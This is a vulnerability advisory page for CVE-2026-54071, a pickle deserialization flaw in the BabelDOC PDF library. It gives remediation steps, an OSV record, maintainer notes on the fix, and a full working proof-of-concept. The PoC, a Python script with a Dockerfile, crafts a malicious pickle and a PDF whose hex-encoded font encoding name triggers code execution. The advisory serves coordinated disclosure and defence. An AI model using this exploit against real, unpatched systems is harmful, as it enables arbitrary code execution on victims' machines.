CVE-2026-54071: BabelDOC Arbitrary Code Execution Vulnerability
HIGHCVE-2026-54071 is a HIGH (CVSS 7.8) arbitrary code execution vulnerability (CWE-502: Deserialization of Untrusted Data) affecting BabelDOC libraries in the PyPI ecosystem. The issue involves arbitrary code execution via cmap pickle deserialization in babeldoc/pdfminer/cmapdb.py. Remediation is available by upgrading affected packages to version 0.6.3.
CVE-2026-54071 at a Glance
Security Impact
CVSS: 7.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).
How to Fix CVE-2026-54071
To remediate this vulnerability, upgrade all affected BabelDOC dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install BabelDOC>=0.6.3
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show BabelDOC
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-54071, inspect your installed packages using pip:
pip show BabelDOC
Analyze the terminal output to locate any version of BabelDOC in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.6.3), your application is affected.
Note: The pip show BabelDOC command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-502: Deserialization of Untrusted Data, where the product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid. In BabelDOC, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-54071 Affected BabelDOC Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
BabelDOC
|
PyPI |
< 0.6.3
|
0.6.3
|
References
Frequently Asked Questions
What is CVE-2026-54071?
Which BabelDOC versions are affected?
What version fixes CVE-2026-54071?
Is BabelDOC affected?
What is the CVSS score of CVE-2026-54071?
What CWE is associated with CVE-2026-54071?
How can I check PyPI dependencies for CVE-2026-54071?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-m8gf-v64p-gfmg",
"modified" : "2026-07-10T19:32:44Z",
"published" : "2026-07-10T19:32:44Z",
"aliases" : [ "CVE-2026-54071" ],
"summary" : "BabelDOC: Arbitrary Code Execution via CMap Pickle Deserialization in babeldoc/pdfminer/cmapdb.py",
"details" : "## Arbitrary Code Execution via CMap Pickle Deserialization in babeldoc/pdfminer/cmapdb.py\n\n### Summary\n\nBabelDOC's vendored PDF parser (`babeldoc/pdfminer/cmapdb.py`) deserializes untrusted pickle data when loading CMap files. The `_load_data()` method strips only NUL bytes from a PDF-controlled CMap name, then passes it directly to `os.path.join()` and `pickle.loads()`. Because Python's `os.path.join()` discards all preceding path components when it encounters an absolute path segment, an attacker who embeds a hex-encoded absolute path in a crafted PDF's `/Encoding` name (e.g., `/#2Ftmp#2Fattacker#2Fevil`) can redirect deserialization to any attacker-writable `.pickle.gz` file on the local system. Processing such a PDF results in arbitrary Python code execution with the privileges of the BabelDOC process.\n\n### Details\n\nThe vulnerable function is `CMapDB._load_data()` at `babeldoc/pdfminer/cmapdb.py:232–245`:\n\n```python\n@classmethod\ndef _load_data(cls, name: str) -> Any:\n name = name.replace(\"\\0\", \"\") # line 233 — only NUL is stripped\n filename = \"%s.pickle.gz\" % name # line 234 — attacker-controlled string\n ...\n for directory in cmap_paths:\n path = os.path.join(directory, filename) # line 241 — no realpath/canonical check\n if os.path.exists(path):\n gzfile = gzip.open(path)\n try:\n return type(str(name), (), pickle.loads(gzfile.read())) # line 245 — unconditional pickle\n```\n\n**Path injection via PDF name hex-encoding.** The PDF specification allows name objects to encode arbitrary bytes as `#xx`. The pdfminer literal-name parser (`psparser._parse_literal_hex`) decodes these sequences before handing the string to higher layers. Consequently, the PDF literal `/#2Ftmp#2Fattacker#2Fevil` is decoded to the Python string `/tmp/attacker/evil`.\n\n**Python `os.path.join()` absolute-path override.** When the decoded name starts with `/` (i.e., it is an absolute path), Python's `os.path.join(directory, name + \".pickle.gz\")` ignores `directory` entirely and returns the absolute path unchanged. The trusted `cmap_paths` directories (`/usr/share/pdfminer/`, the package's own `cmap/` folder) are therefore completely bypassed.\n\n**Data flow from PDF to sink:**\n\n1. `babeldoc/main.py:611–622` — CLI accepts a PDF path; only existence and `.pdf` suffix are checked.\n2. `babeldoc/main.py:678–679` — path stored in `TranslationConfig(input_file=file)`.\n3. `babeldoc/format/pdf/high_level.py:472–488` — `translation_config.input_file` enters the translate pipeline.\n4. `babeldoc/format/pdf/high_level.py:805–848` — PDF saved to `temp_pdf_path` and parsed with `parse_prepared_pdf_with_new_parser_to_legacy_ir`.\n5. `babeldoc/format/pdf/new_parser/native_parse.py:60–70` — prepared pages loaded and interpreted.\n6. `babeldoc/format/pdf/new_parser/pymupdf_prepared_page_access.py:25–34` — PyMuPDF opens the PDF and builds page resources.\n7. `babeldoc/format/pdf/new_parser/prepared_resource_builder.py:84–94` — font resources converted to `PreparedFontSpec`.\n8. `babeldoc/format/pdf/new_parser/active_font_resource_runtime.py:21–35` — page resource bundle resolves root font map.\n9. `babeldoc/format/pdf/new_parser/active_font_runtime.py:79–87` — each font spec projected and passed to `font_factory.create_font`.\n10. `babeldoc/format/pdf/new_parser/active_direct_font_backend.py:291–292, 491–493` — CID fonts call `build_cid_cmap(spec, literal_name=literal_name)`.\n11. `babeldoc/format/pdf/new_parser/runtime/cid_cmap_runtime.py:52–77` — PDF-controlled `/Encoding`/`CMapName` normalized and passed to `CMapDB.get_cmap`. `_normalize_cmap_name()` removes only a single leading `/`; all other path characters pass through.\n12. `babeldoc/pdfminer/cmapdb.py:233–245` — **sink**: NUL-stripped name used verbatim to construct the path; file opened with gzip and deserialized with `pickle.loads()`.\n\n**Sanitization gaps:**\n\n- `name.replace(\"\\0\", \"\")` removes only the NUL byte; `..`, `/`, `\\`, and hex-decoded path separators are unaffected.\n- There is no `os.path.realpath()`, `os.path.abspath()`, or `os.path.commonpath()` containment check before the file is opened.\n- There is no allowlist of known CMap names nor any integrity verification of the pickle data.\n\n**Recommended patch** (`babeldoc/pdfminer/cmapdb.py`):\n\n```diff\n--- a/babeldoc/pdfminer/cmapdb.py\n+++ b/babeldoc/pdfminer/cmapdb.py\n@@\n cmap_paths = (\n os.environ.get(\"CMAP_PATH\", \"/usr/share/pdfminer/\"),\n os.path.join(os.path.dirname(__file__), \"cmap\"),\n )\n for directory in cmap_paths:\n- path = os.path.join(directory, filename)\n+ base_dir = os.path.realpath(directory)\n+ path = os.path.realpath(os.path.join(base_dir, filename))\n+ try:\n+ if os.path.commonpath([base_dir, path]) != base_dir:\n+ continue\n+ except ValueError:\n+ continue\n if os.path.exists(path):\n gzfile = gzip.open(path)\n```\n\nA more complete fix replaces the pickle-backed CMap loader with a signed or static data format (e.g., JSON or generated Python modules) that does not carry executable code.\n\n### PoC\n\n**Environment setup (Docker — recommended for isolation):**\n\n```bash\n# From the repository root\ndocker build -t vuln-001-babeldoc-cmap -f vuln-001/Dockerfile .\ndocker run --rm vuln-001-babeldoc-cmap\n```\n\n**Manual setup (local venv):**\n\n```bash\npython3 -m venv /tmp/babeldoc-poc-venv\nsource /tmp/babeldoc-poc-venv/bin/activate\npip install freetype-py==2.5.1 charset-normalizer cryptography\nexport PYTHONPATH=/path/to/BabelDOC\npython3 poc.py\n```\n\n**PoC script (`poc.py`) — key steps:**\n\n```python\nimport gzip, pathlib, pickle, sys\n\nCMAP_STAGING_DIR = pathlib.Path(\"/tmp/babeldoc-cmap-poc\")\nMALICIOUS_PICKLE = CMAP_STAGING_DIR / \"malicious.pickle.gz\"\nMALICIOUS_PDF = CMAP_STAGING_DIR / \"malicious.pdf\"\nPROOF_FILE = pathlib.Path(\"/tmp/babeldoc_cmap_rce_proof.txt\")\n\n# Step 1 — write the malicious pickle to a world-writable location\nclass MaliciousPayload:\n def __reduce__(self):\n return (pathlib.Path(str(PROOF_FILE)).write_text,\n (\"RCE_CONFIRMED: pickle.loads executed attacker payload\",))\n\nCMAP_STAGING_DIR.mkdir(parents=True, exist_ok=True)\nwith gzip.open(MALICIOUS_PICKLE, \"wb\") as fh:\n pickle.dump(MaliciousPayload(), fh)\n\n# Step 2 — craft a PDF whose /Encoding name hex-encodes the absolute path\n# \"/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious\" decodes to \"/tmp/babeldoc-cmap-poc/malicious\"\nencoding_name = b\"/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious\"\n\n# ... (minimal PDF structure with a Type0 CID font referencing encoding_name) ...\n# Full source in poc.py\n\n# Step 3 — trigger via the pdfminer high-level API\nfrom babeldoc.pdfminer.high_level import extract_text\ntry:\n extract_text(str(MALICIOUS_PDF))\nexcept TypeError:\n pass # expected: type(name, (), <int>) fails after write_text returns int\n\n# Step 4 — verify\nassert PROOF_FILE.exists(), \"FAIL: proof file not created\"\nprint(PROOF_FILE.read_text()) # => \"RCE_CONFIRMED: pickle.loads executed attacker payload\"\n```\n\n**Phase 2 dynamic reproduction output (Docker container):**\n\n```\n[+] Malicious pickle written: /tmp/babeldoc-cmap-poc/malicious.pickle.gz\n[+] Malicious PDF written: /tmp/babeldoc-cmap-poc/malicious.pdf\n[*] Calling extract_text(/tmp/babeldoc-cmap-poc/malicious.pdf) ...\n[*] extract_text raised TypeError: type.__new__() argument 3 must be dict, not int\n[*] This exception is expected; the payload ran before it.\n\n============================================================\nRESULT: PASS\nProof file: /tmp/babeldoc_cmap_rce_proof.txt\nContent: 'RCE_CONFIRMED: pickle.loads executed attacker payload'\n============================================================\n```\n\nThe `TypeError` is benign and expected: `write_text()` returns an integer, and the subsequent `type(name, (), <int>)` call in `_load_data()` raises before reaching further code. The payload already executed successfully at that point.\n\n**Attack path summary:**\n\n```\nPDF /Encoding /#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious\n -> pdfminer hex-decodes #2F -> '/'\n -> literal_name = \"/tmp/babeldoc-cmap-poc/malicious\"\n -> CMapDB._load_data(\"/tmp/babeldoc-cmap-poc/malicious\")\n -> filename = \"/tmp/babeldoc-cmap-poc/malicious.pickle.gz\" # absolute path!\n -> os.path.join(\"/usr/share/pdfminer/\", \"/tmp/.../malicious.pickle.gz\")\n == \"/tmp/babeldoc-cmap-poc/malicious.pickle.gz\" # first arg discarded\n -> gzip.open() + pickle.loads() -> arbitrary code execution\n```\n\n### Impact\n\nThis is an **Arbitrary Code Execution** vulnerability triggered by processing a crafted PDF file. Any user or automated pipeline that runs BabelDOC against untrusted PDF input is at risk.\n\n**Who is impacted:**\n\n- **End users** who open a malicious PDF with the `babeldoc` CLI or any application embedding BabelDOC's PDF translation/text-extraction functionality.\n- **Automated document processing pipelines** (CI translation services, document management systems, cloud PDF processors) that ingest user-supplied PDFs without sandboxing.\n\n**Attack prerequisites:**\n\n1. The attacker must be able to place a `.pickle.gz` file at a predictable path on the local filesystem (e.g., `/tmp/`), or exploit a shared world-writable directory. On Windows systems, UNC/WebDAV paths may provide a remote staging alternative.\n2. The victim must process the crafted PDF through BabelDOC. No elevated privileges or special configuration is required — default PDF processing is the vulnerable code path.\n\n**Scope:** The attack crosses security boundaries (e.g., a lower-privileged attacker influencing files processed by a different user's process), justifying the **Changed** scope in the CVSS vector and potential lateral movement between users on multi-user systems.\n\n**Consequences:** Full code execution with the victim process's privileges — confidentiality breach, data modification, denial of service, and potential privilege escalation depending on the deployment context.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM python:3.11-slim\n\n# Install system-level dependencies for freetype\nRUN apt-get update && apt-get install -y --no-install-recommends \\\n libfreetype6 \\\n && rm -rf /var/lib/apt/lists/*\n\n# Install minimal Python dependencies required by babeldoc/pdfminer\nRUN pip install --no-cache-dir \\\n freetype-py==2.5.1 \\\n charset-normalizer \\\n cryptography\n\n# Copy the BabelDOC repository (only babeldoc package directory is needed)\nCOPY repo/babeldoc /app/babeldoc\n\n# Copy the PoC script\nCOPY vuln-001/poc.py /app/poc.py\n\nWORKDIR /app\n\n# PYTHONPATH exposes babeldoc package without a full pip install\nENV PYTHONPATH=/app\n\nCMD [\"python3\", \"poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n\"\"\"\nPoC: CMap Pickle Deserialization via Absolute Path Injection\nCVE Candidate: VULN-001 in funstory-ai/BabelDOC v0.6.2\n\nVulnerability: babeldoc/pdfminer/cmapdb.py _load_data() only strips NUL bytes\nfrom the CMap name before building a filesystem path. A PDF name object\nusing #xx hex-encoding can inject absolute path characters (/) so that\nos.path.join() discards the trusted cmap directory entirely, opening and\nunpickling an attacker-placed .pickle.gz file.\n\nAttack flow:\n PDF /Encoding /#2Ftmp#2F...#2Fmalicious\n -> pdfminer hex-decodes #2F -> '/'\n -> literal_name() returns \"/tmp/.../malicious\"\n -> _load_data(\"/tmp/.../malicious\")\n -> filename = \"/tmp/.../malicious.pickle.gz\" (absolute path!)\n -> os.path.join(\"/usr/share/pdfminer/\", \"/tmp/.../malicious.pickle.gz\")\n == \"/tmp/.../malicious.pickle.gz\" (Python discards first arg)\n -> gzip.open() + pickle.loads() => arbitrary code execution\n\"\"\"\n\nimport gzip\nimport os\nimport pathlib\nimport pickle\nimport sys\n\n# ---------------------------------------------------------------------------\n# Configuration\n# ---------------------------------------------------------------------------\nCMAP_STAGING_DIR = pathlib.Path(\"/tmp/babeldoc-cmap-poc\")\nMALICIOUS_PICKLE = CMAP_STAGING_DIR / \"malicious.pickle.gz\"\nMALICIOUS_PDF = CMAP_STAGING_DIR / \"malicious.pdf\"\nPROOF_FILE = pathlib.Path(\"/tmp/babeldoc_cmap_rce_proof.txt\")\n\n\n# ---------------------------------------------------------------------------\n# Step 1: Build the malicious pickle payload\n# ---------------------------------------------------------------------------\nclass MaliciousPayload:\n \"\"\"Pickle payload that writes a proof file on deserialization.\"\"\"\n\n def __reduce__(self):\n # Write proof file when unpickled; any writable command works here.\n return (\n pathlib.Path(str(PROOF_FILE)).write_text,\n (\"RCE_CONFIRMED: pickle.loads executed attacker payload\",),\n )\n\n\ndef create_malicious_pickle():\n CMAP_STAGING_DIR.mkdir(parents=True, exist_ok=True)\n PROOF_FILE.unlink(missing_ok=True)\n\n with gzip.open(MALICIOUS_PICKLE, \"wb\") as fh:\n pickle.dump(MaliciousPayload(), fh)\n\n print(f\"[+] Malicious pickle written: {MALICIOUS_PICKLE}\")\n\n\n# ---------------------------------------------------------------------------\n# Step 2: Build the malicious PDF\n# ---------------------------------------------------------------------------\ndef create_malicious_pdf():\n \"\"\"\n Craft a minimal PDF with a Type0 CID font whose /Encoding name is a\n PDF literal that hex-encodes an absolute Unix path.\n\n PDF name syntax: /<characters> where #xx is hex escape for byte 0xxx.\n \"/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious\" decodes to the name value\n \"/tmp/babeldoc-cmap-poc/malicious\" (starts with '/').\n\n When passed through babeldoc/pdfminer:\n literal_name(PSLiteral) -> \"/tmp/babeldoc-cmap-poc/malicious\"\n _load_data() -> filename = \"/tmp/babeldoc-cmap-poc/malicious.pickle.gz\"\n os.path.join(\"/usr/share/pdfminer/\", \"/tmp/.../malicious.pickle.gz\")\n => \"/tmp/babeldoc-cmap-poc/malicious.pickle.gz\" (absolute wins!)\n \"\"\"\n # Hex-encoded encoding name: /tmp/babeldoc-cmap-poc/malicious\n # '#2F' = '/' in PDF name hex encoding\n encoding_name = b\"/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious\"\n\n content_stream = b\"BT\\n/F1 12 Tf\\n100 700 Td\\n(Malicious PDF) Tj\\nET\\n\"\n\n # PDF objects (1-indexed)\n objs = [\n # 1: Catalog\n b\"<< /Type /Catalog /Pages 2 0 R >>\",\n # 2: Pages\n b\"<< /Type /Pages /Kids [3 0 R] /Count 1 >>\",\n # 3: Page - references content stream (4) and font (5)\n b\"<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792]\"\n b\" /Contents 4 0 R /Resources << /Font << /F1 5 0 R >> >> >>\",\n # 4: Content stream\n b\"<< /Length %d >>\\nstream\\n\" % len(content_stream)\n + content_stream\n + b\"\\nendstream\",\n # 5: Type0 font with malicious /Encoding name\n b\"<< /Type /Font /Subtype /Type0 /BaseFont /MalFont\"\n b\" /Encoding \" + encoding_name + b\"\"\n b\" /DescendantFonts [6 0 R] >>\",\n # 6: CIDFontType2 descendant\n b\"<< /Type /Font /Subtype /CIDFontType2 /BaseFont /MalFont\"\n b\" /CIDSystemInfo << /Registry (Adobe) /Ordering (Identity)\"\n b\" /Supplement 0 >> /FontDescriptor 7 0 R >>\",\n # 7: FontDescriptor (minimal)\n b\"<< /Type /FontDescriptor /FontName /MalFont /Flags 4\"\n b\" /FontBBox [-1000 -1000 1000 1000] /ItalicAngle 0\"\n b\" /Ascent 1000 /Descent -200 /CapHeight 800 /StemV 80 >>\",\n ]\n\n buf = bytearray(b\"%PDF-1.4\\n\")\n offsets = []\n for i, obj_data in enumerate(objs, 1):\n offsets.append(len(buf))\n buf += f\"{i} 0 obj\\n\".encode() + obj_data + b\"\\nendobj\\n\"\n\n xref_offset = len(buf)\n buf += f\"xref\\n0 {len(objs) + 1}\\n0000000000 65535 f \\n\".encode()\n for off in offsets:\n buf += f\"{off:010d} 00000 n \\n\".encode()\n buf += (\n f\"trailer\\n<< /Size {len(objs) + 1} /Root 1 0 R >>\\n\"\n f\"startxref\\n{xref_offset}\\n%%EOF\\n\"\n ).encode()\n\n MALICIOUS_PDF.write_bytes(bytes(buf))\n print(f\"[+] Malicious PDF written: {MALICIOUS_PDF}\")\n\n\n# ---------------------------------------------------------------------------\n# Step 3: Trigger the vulnerability via babeldoc pdfminer extract_text\n# ---------------------------------------------------------------------------\ndef trigger_exploit():\n from babeldoc.pdfminer.high_level import extract_text\n\n print(f\"[*] Calling extract_text({MALICIOUS_PDF}) ...\")\n try:\n result = extract_text(str(MALICIOUS_PDF))\n print(f\"[+] extract_text completed, returned {len(result)} chars\")\n except Exception as exc:\n # A TypeError is expected: after pickle.loads() returns the result of\n # write_text() (an int), the code tries type(name, (), <int>) which\n # raises TypeError. The write has already happened at this point.\n print(f\"[*] extract_text raised {type(exc).__name__}: {exc}\")\n print(\"[*] This exception is expected; the payload ran before it.\")\n\n\n# ---------------------------------------------------------------------------\n# Step 4: Verify RCE evidence\n# ---------------------------------------------------------------------------\ndef verify_rce():\n if PROOF_FILE.exists():\n content = PROOF_FILE.read_text()\n print()\n print(\"=\" * 60)\n print(\"RESULT: PASS\")\n print(f\"Proof file: {PROOF_FILE}\")\n print(f\"Content: {content!r}\")\n print(\"=\" * 60)\n return True\n else:\n print()\n print(\"=\" * 60)\n print(\"RESULT: FAIL\")\n print(f\"Proof file {PROOF_FILE} was NOT created.\")\n print(\"=\" * 60)\n return False\n\n\n# ---------------------------------------------------------------------------\n# Main\n# ---------------------------------------------------------------------------\ndef main():\n print(\"=== VULN-001 PoC: CMap Pickle Deserialization via Path Injection ===\")\n print(f\"Python: {sys.version}\")\n print()\n\n create_malicious_pickle()\n create_malicious_pdf()\n trigger_exploit()\n success = verify_rce()\n\n sys.exit(0 if success else 1)\n\n\nif __name__ == \"__main__\":\n main()\n```\n\n---\n\n## Notes from the maintainer\n\n### CVSS revision note\n\nThe CVSS v3.1 vector has been revised from the reporter's initial\n`CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H` (8.6) to\n`CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` (7.8) on maintainer\nreview. The severity rating remains **High**.\n\nOne metric is revised; the remaining metrics (`AV:L`, `AC:L`, `PR:N`,\n`UI:R`, `C:H/I:H/A:H`) are unchanged from the reporter's assessment.\n\n- **Scope: Changed → Unchanged.** BabelDOC is a PDF-processing\n library running with the caller process's operating-system\n permissions; it does not enforce a separate security authority over\n OS files, users, or downstream services. The malicious pickle\n payload executes in that same BabelDOC Python process. Under CVSS\n v3.1, this is Scope Unchanged: the vulnerable component and the\n impacted component are governed by the same authority. No sandbox,\n VM, browser-client, or application-defined authorization boundary\n is crossed.\n\nThe remaining metrics are retained intentionally:\n\n- `AV:L`, `PR:N`, `UI:R`: the attack requires local presence of\n attacker-influenced data (consistent with `AV:L`), does not require\n authenticated access to BabelDOC itself (`PR:N`), and depends on a\n user actually processing the crafted PDF (`UI:R`).\n- `AC:L`: kept aligned with industry practice for CWE-502\n deserialization issues; once the supporting filesystem condition\n exists, the same-process exploitation path is consistent and\n repeatable.\n- `C:H`, `I:H`, `A:H`: full code-execution impact within the\n BabelDOC process.\n\nWe thank EQSTLab for the detailed report and PoC; this revision is\nlimited to CVSS metric interpretation, and the issue remains High\nseverity when exploitable.\n\n### Full sink coverage (2 independently exploitable PDF paths + 2 defense-in-depth call sites)\n\nThe original report covers entry point (1): the `Encoding` / `CMapName`\nfont dictionary path, with absolute-path injection. Local review during\npatch preparation identified that the same `_load_data` sink is reached\nfrom one additional independently exploitable PDF-controlled path and\ntwo prefixed call sites covered at the sink for defense in depth:\n\n1. `Encoding` / `CMapName` references in a font dictionary\n *(reported entry; absolute-path injection per the upstream report,\n `..` relative traversal also exploitable)*\n2. The PostScript `usecmap` operator inside an embedded CMap stream\n *(independently exploitable via `..` relative traversal; not in the\n original report)*\n3. `CIDSystemInfo.Ordering` flowing through `get_unicode_map` in the\n legacy pdfminer pipeline\n4. `CIDSystemInfo.Ordering` flowing through `get_unicode_map` in the\n active new-parser pipeline\n\nCall sites (3) and (4) were not reproduced as standalone PDF-only\nexploit paths in v0.6.x. The `get_unicode_map` caller prepends a\n`to-unicode-` prefix to the PDF-controlled name, which breaks\nabsolute-path injection and means `..` traversal would require an\nadditional crafted directory layout such as a `to-unicode-*`\ncomponent under a CMap search location. The 0.6.3 sink-level fix\nstill covers these call sites, so future removal of the prefix or\na future unprefixed caller remains blocked.\n\n### Fix design\n\nThe runtime CMap loader in 0.6.3 refuses to deserialize any file that\ndoes not simultaneously:\n\n1. appear in a pinned manifest of bundled CMap filenames (allowlist),\n2. resolve inside the bundled `runtime/data/cmap` directory after path\n resolution (containment check), and\n3. byte-for-byte match the manifest's pinned byte size and SHA-256.\n\nThe integrity check runs on the compressed on-disk `.gz` bytes before\ndecompression, so files whose compressed size or SHA-256 differs from\nthe pinned manifest are rejected before `gzip` or `pickle` sees them.\nThe legacy `CMAP_PATH` external search path is removed entirely; only\nthe bundled directory is consulted. The active new-parser pipeline\nand the vendored pdfminer pipeline share the same verified-load entry\npoint.\n\n### Related hardening shipped in 0.6.3\n\nA separate hardening in the same release sanitizes PDF-controlled\nXObject names before they reach the optional `ImageWriter` output\npath, preventing PDF-driven writes outside the configured output\ndirectory. This is separate from BabelDOC's default translation\npipeline: the optional `ImageWriter` is not used by default and is\nonly reachable when a third-party caller passes an explicit\n`output_dir`. It is included here for completeness.\n\n### Risk reduction if you cannot upgrade immediately\n\nThese steps reduce known exploit preconditions on pre-0.6.3 versions;\nthey are not equivalent to the 0.6.3 fix.\n\n- Do not set the `CMAP_PATH` environment variable when running\n BabelDOC. 0.6.3 removes this variable entirely; on pre-0.6.3\n versions, unsetting it limits the attack surface to the bundled\n cmap directory under the BabelDOC package.\n- Run BabelDOC under an account that cannot create files in any\n directory BabelDOC will read CMap data from, including any\n pre-0.6.3 `CMAP_PATH` target.\n- Process only PDFs from trusted sources until upgrading.\n\n### Maintenance policy\n\nBabelDOC publishes security fixes only in the latest release. We do\nnot publish maintainer-supported backports for older minor, patch, or\nrelease lines. For this advisory, the maintainer-supported fixed\nversion is 0.6.3 or later; downstream distributors may carry their\nown patches, but older BabelDOC releases will not receive a separate\nupstream backport.\n\n### Acknowledgements\n\nWe thank **EQSTLab** for the detailed private report, complete\nreproduction material, and coordinated-disclosure cooperation that\nallowed this fix to be prepared and released before public\ndisclosure.\n\n### Timeline\n\n- 2026-06-03 04:34 UTC: EQSTLab opens the private advisory draft and\n notifies maintainers\n- 2026-06-03 09:21 UTC: BabelDOC 0.6.3 released with the fix\n- 2026-06-03 09:50 UTC: this advisory published\n- TBD: CVE identifier assigned (pending GitHub CNA review; GitHub\n documentation says CVE requests are usually reviewed within 72\n hours)\n\n### References\n\n- BabelDOC 0.6.3 release notes:\n https://github.com/funstory-ai/BabelDOC/blob/main/docs/release-notes/v0.6.3.md\n- CVE: TBD (pending CNA assignment)",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "BabelDOC"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.6.3"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 0.6.2"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/funstory-ai/BabelDOC/security/advisories/GHSA-m8gf-v64p-gfmg"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/funstory-ai/BabelDOC"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-502" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-10T19:32:44Z",
"nvd_published_at" : null
}
}